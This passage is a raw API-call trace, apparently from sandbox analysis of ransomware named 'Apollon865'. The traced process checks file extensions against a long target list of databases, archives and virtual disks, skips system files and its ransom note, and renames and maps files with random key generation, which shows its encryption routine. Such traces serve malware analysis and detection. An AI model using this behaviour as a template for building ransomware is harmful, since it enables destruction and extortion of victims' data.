	[0059.182] lstrlenW (lpString="gdb") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.182] lstrlenW (lpString="gdb") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.182] lstrlenW (lpString="grdb") returned 4
	[0059.182] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0059.182] lstrlenW (lpString="gwi") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0059.182] lstrlenW (lpString="hdb") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0059.182] lstrlenW (lpString="his") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0059.182] lstrlenW (lpString="ib") returned 2
	[0059.182] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0059.182] lstrlenW (lpString="idb") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0059.182] lstrlenW (lpString="ihx") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0059.183] lstrlenW (lpString="itdb") returned 4
	[0059.183] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0059.183] lstrlenW (lpString="itw") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0059.183] lstrlenW (lpString="jet") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0059.183] lstrlenW (lpString="jtx") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0059.183] lstrlenW (lpString="kdb") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0059.183] lstrlenW (lpString="kexi") returned 4
	[0059.183] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0059.183] lstrlenW (lpString="kexic") returned 5
	[0059.183] lstrcmpiW (lpString1="e.jpg", lpString2="kexic") returned -1
	[0059.183] lstrlenW (lpString="kexis") returned 5
	[0059.183] lstrcmpiW (lpString1="e.jpg", lpString2="kexis") returned -1
	[0059.183] lstrlenW (lpString="lgc") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0059.183] lstrlenW (lpString="lwx") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0059.183] lstrlenW (lpString="maf") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0059.183] lstrlenW (lpString="maq") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0059.183] lstrlenW (lpString="mar") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0059.183] lstrlenW (lpString="marshal") returned 7
	[0059.183] lstrcmpiW (lpString1="lue.jpg", lpString2="marshal") returned -1
	[0059.183] lstrlenW (lpString="mas") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0059.183] lstrlenW (lpString="mav") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0059.183] lstrlenW (lpString="maw") returned 3
	[0059.183] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0059.183] lstrlenW (lpString="mdbhtml") returned 7
	[0059.183] lstrcmpiW (lpString1="lue.jpg", lpString2="mdbhtml") returned -1
	[0059.184] lstrlenW (lpString="mdn") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0059.184] lstrlenW (lpString="mdt") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0059.184] lstrlenW (lpString="mfd") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0059.184] lstrlenW (lpString="mpd") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0059.184] lstrlenW (lpString="mrg") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0059.184] lstrlenW (lpString="mud") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0059.184] lstrlenW (lpString="mwb") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0059.184] lstrlenW (lpString="myd") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0059.184] lstrlenW (lpString="ndf") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0059.184] lstrlenW (lpString="nnt") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0059.184] lstrlenW (lpString="nrmlib") returned 6
	[0059.184] lstrcmpiW (lpString1="ue.jpg", lpString2="nrmlib") returned 1
	[0059.184] lstrlenW (lpString="ns2") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0059.184] lstrlenW (lpString="ns3") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0059.184] lstrlenW (lpString="ns4") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0059.184] lstrlenW (lpString="nsf") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0059.184] lstrlenW (lpString="nv") returned 2
	[0059.184] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0059.184] lstrlenW (lpString="nv2") returned 3
	[0059.184] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0059.185] lstrlenW (lpString="nwdb") returned 4
	[0059.185] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0059.185] lstrlenW (lpString="nyf") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0059.185] lstrlenW (lpString="odb") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.185] lstrlenW (lpString="odb") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.185] lstrlenW (lpString="oqy") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0059.185] lstrlenW (lpString="ora") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0059.185] lstrlenW (lpString="orx") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0059.185] lstrlenW (lpString="owc") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0059.185] lstrlenW (lpString="p96") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0059.185] lstrlenW (lpString="p97") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0059.185] lstrlenW (lpString="pan") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0059.185] lstrlenW (lpString="pdb") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0059.185] lstrlenW (lpString="pdm") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0059.185] lstrlenW (lpString="pnz") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0059.185] lstrlenW (lpString="qry") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0059.185] lstrlenW (lpString="qvd") returned 3
	[0059.185] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0059.185] lstrlenW (lpString="rbf") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0059.186] lstrlenW (lpString="rctd") returned 4
	[0059.186] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0059.186] lstrlenW (lpString="rod") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0059.186] lstrlenW (lpString="rodx") returned 4
	[0059.186] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0059.186] lstrlenW (lpString="rpd") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0059.186] lstrlenW (lpString="rsd") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0059.186] lstrlenW (lpString="sas7bdat") returned 8
	[0059.186] lstrcmpiW (lpString1="Blue.jpg", lpString2="sas7bdat") returned -1
	[0059.186] lstrlenW (lpString="sbf") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0059.186] lstrlenW (lpString="scx") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0059.186] lstrlenW (lpString="sdb") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0059.186] lstrlenW (lpString="sdc") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0059.186] lstrlenW (lpString="sdf") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0059.186] lstrlenW (lpString="sis") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0059.186] lstrlenW (lpString="spq") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0059.186] lstrlenW (lpString="te") returned 2
	[0059.186] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0059.186] lstrlenW (lpString="teacher") returned 7
	[0059.186] lstrcmpiW (lpString1="lue.jpg", lpString2="teacher") returned -1
	[0059.186] lstrlenW (lpString="tmd") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0059.186] lstrlenW (lpString="tps") returned 3
	[0059.186] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0059.187] lstrlenW (lpString="trc") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.187] lstrlenW (lpString="trc") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.187] lstrlenW (lpString="trm") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0059.187] lstrlenW (lpString="udb") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0059.187] lstrlenW (lpString="udl") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0059.187] lstrlenW (lpString="usr") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0059.187] lstrlenW (lpString="v12") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0059.187] lstrlenW (lpString="vis") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0059.187] lstrlenW (lpString="vpd") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0059.187] lstrlenW (lpString="vvv") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0059.187] lstrlenW (lpString="wdb") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0059.187] lstrlenW (lpString="wmdb") returned 4
	[0059.187] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0059.187] lstrlenW (lpString="wrk") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0059.187] lstrlenW (lpString="xdb") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0059.187] lstrlenW (lpString="xld") returned 3
	[0059.187] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0059.187] lstrlenW (lpString="xmlff") returned 5
	[0059.188] lstrcmpiW (lpString1="e.jpg", lpString2="xmlff") returned -1
	[0059.188] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.Apollon865") returned 92
	[0059.188] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.apollon865"), dwFlags=0x1) returned 1
	[0059.188] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.188] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4734) returned 1
	[0059.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.189] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.190] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.190] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.190] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1580, lpName=0x0) returned 0x14c
	[0059.199] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1580) returned 0x100000
	[0059.200] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.201] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.201] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.202] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.202] CloseHandle (hObject=0x14c) returned 1
	[0059.202] CloseHandle (hObject=0x150) returned 1
	[0059.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.202] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="SOFTBL~1.HTM")) returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="Apollon865.txt.exe") returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".") returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="..") returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="windows") returned -1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="bootmgr") returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="temp") returned -1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="pagefile.sys") returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="boot") returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="ids.txt") returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="ntuser.dat") returned 1
	[0059.202] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="perflogs") returned 1
	[0059.203] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="MSBuild") returned 1
	[0059.203] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0059.203] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned 81
	[0059.203] lstrcpyW (in: lpString1=0x119e68a, lpString2="Soft Blue.htm" | out: lpString1="Soft Blue.htm") returned="Soft Blue.htm"
	[0059.203] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0059.203] lstrlenW (lpString="Apollon865") returned 10
	[0059.203] lstrcmpiW (lpString1="t Blue.htm", lpString2="Apollon865") returned 1
	[0059.203] lstrlenW (lpString=".dll") returned 4
	[0059.203] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".dll") returned 1
	[0059.203] lstrlenW (lpString=".lnk") returned 4
	[0059.203] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".lnk") returned 1
	[0059.203] lstrlenW (lpString=".ini") returned 4
	[0059.203] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".ini") returned 1
	[0059.203] lstrlenW (lpString=".sys") returned 4
	[0059.203] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".sys") returned 1
	[0059.203] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0059.203] lstrlenW (lpString="bak") returned 3
	[0059.203] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0059.203] lstrlenW (lpString="ba_") returned 3
	[0059.203] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0059.203] lstrlenW (lpString="dbb") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0059.204] lstrlenW (lpString="vmdk") returned 4
	[0059.204] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0059.204] lstrlenW (lpString="rar") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0059.204] lstrlenW (lpString="zip") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0059.204] lstrlenW (lpString="tgz") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0059.204] lstrlenW (lpString="vbox") returned 4
	[0059.204] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0059.204] lstrlenW (lpString="vdi") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0059.204] lstrlenW (lpString="vhd") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0059.204] lstrlenW (lpString="vhdx") returned 4
	[0059.204] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0059.204] lstrlenW (lpString="avhd") returned 4
	[0059.204] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0059.204] lstrlenW (lpString="db") returned 2
	[0059.204] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0059.204] lstrlenW (lpString="db2") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0059.204] lstrlenW (lpString="db3") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0059.204] lstrlenW (lpString="dbf") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0059.204] lstrlenW (lpString="mdf") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0059.204] lstrlenW (lpString="mdb") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0059.204] lstrlenW (lpString="sql") returned 3
	[0059.204] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0059.204] lstrlenW (lpString="sqlite") returned 6
	[0059.205] lstrcmpiW (lpString1="ue.htm", lpString2="sqlite") returned 1
	[0059.205] lstrlenW (lpString="sqlite3") returned 7
	[0059.205] lstrcmpiW (lpString1="lue.htm", lpString2="sqlite3") returned -1
	[0059.205] lstrlenW (lpString="sqlitedb") returned 8
	[0059.205] lstrcmpiW (lpString1="Blue.htm", lpString2="sqlitedb") returned -1
	[0059.205] lstrlenW (lpString="xml") returned 3
	[0059.205] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0059.205] lstrlenW (lpString="$er") returned 3
	[0059.205] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0059.205] lstrlenW (lpString="4dd") returned 3
	[0059.205] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0059.205] lstrlenW (lpString="4dl") returned 3
	[0059.205] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0059.205] lstrlenW (lpString="^^^") returned 3
	[0059.205] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0059.205] lstrlenW (lpString="abs") returned 3
	[0059.205] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0059.205] lstrlenW (lpString="abx") returned 3
	[0059.205] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0059.205] lstrlenW (lpString="accdb") returned 5
	[0059.205] lstrcmpiW (lpString1="e.htm", lpString2="accdb") returned 1
	[0059.205] lstrlenW (lpString="accdc") returned 5
	[0059.205] lstrcmpiW (lpString1="e.htm", lpString2="accdc") returned 1
	[0059.205] lstrlenW (lpString="accde") returned 5
	[0059.205] lstrcmpiW (lpString1="e.htm", lpString2="accde") returned 1
	[0059.205] lstrlenW (lpString="accdr") returned 5
	[0059.205] lstrcmpiW (lpString1="e.htm", lpString2="accdr") returned 1
	[0059.205] lstrlenW (lpString="accdt") returned 5
	[0059.205] lstrcmpiW (lpString1="e.htm", lpString2="accdt") returned 1
	[0059.205] lstrlenW (lpString="accdw") returned 5
	[0059.205] lstrcmpiW (lpString1="e.htm", lpString2="accdw") returned 1
	[0059.205] lstrlenW (lpString="accft") returned 5
	[0059.205] lstrcmpiW (lpString1="e.htm", lpString2="accft") returned 1
	[0059.205] lstrlenW (lpString="adb") returned 3
	[0059.205] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.206] lstrlenW (lpString="adb") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.206] lstrlenW (lpString="ade") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0059.206] lstrlenW (lpString="adf") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0059.206] lstrlenW (lpString="adn") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0059.206] lstrlenW (lpString="adp") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0059.206] lstrlenW (lpString="alf") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0059.206] lstrlenW (lpString="ask") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0059.206] lstrlenW (lpString="btr") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0059.206] lstrlenW (lpString="cat") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0059.206] lstrlenW (lpString="cdb") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0059.206] lstrlenW (lpString="ckp") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0059.206] lstrlenW (lpString="cma") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0059.206] lstrlenW (lpString="cpd") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0059.206] lstrlenW (lpString="dacpac") returned 6
	[0059.206] lstrcmpiW (lpString1="ue.htm", lpString2="dacpac") returned 1
	[0059.206] lstrlenW (lpString="dad") returned 3
	[0059.206] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0059.206] lstrlenW (lpString="dadiagrams") returned 10
	[0059.206] lstrcmpiW (lpString1="t Blue.htm", lpString2="dadiagrams") returned 1
	[0059.206] lstrlenW (lpString="daschema") returned 8
	[0059.206] lstrcmpiW (lpString1="Blue.htm", lpString2="daschema") returned -1
	[0059.206] lstrlenW (lpString="db-journal") returned 10
	[0059.207] lstrcmpiW (lpString1="t Blue.htm", lpString2="db-journal") returned 1
	[0059.207] lstrlenW (lpString="db-shm") returned 6
	[0059.207] lstrcmpiW (lpString1="ue.htm", lpString2="db-shm") returned 1
	[0059.207] lstrlenW (lpString="db-wal") returned 6
	[0059.207] lstrcmpiW (lpString1="ue.htm", lpString2="db-wal") returned 1
	[0059.207] lstrlenW (lpString="dbc") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0059.207] lstrlenW (lpString="dbs") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0059.207] lstrlenW (lpString="dbt") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0059.207] lstrlenW (lpString="dbv") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0059.207] lstrlenW (lpString="dbx") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0059.207] lstrlenW (lpString="dcb") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0059.207] lstrlenW (lpString="dct") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0059.207] lstrlenW (lpString="dcx") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0059.207] lstrlenW (lpString="ddl") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0059.207] lstrlenW (lpString="dlis") returned 4
	[0059.207] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0059.207] lstrlenW (lpString="dp1") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0059.207] lstrlenW (lpString="dqy") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0059.207] lstrlenW (lpString="dsk") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0059.207] lstrlenW (lpString="dsn") returned 3
	[0059.207] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0059.207] lstrlenW (lpString="dtsx") returned 4
	[0059.207] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0059.208] lstrlenW (lpString="dxl") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0059.208] lstrlenW (lpString="eco") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0059.208] lstrlenW (lpString="ecx") returned 3
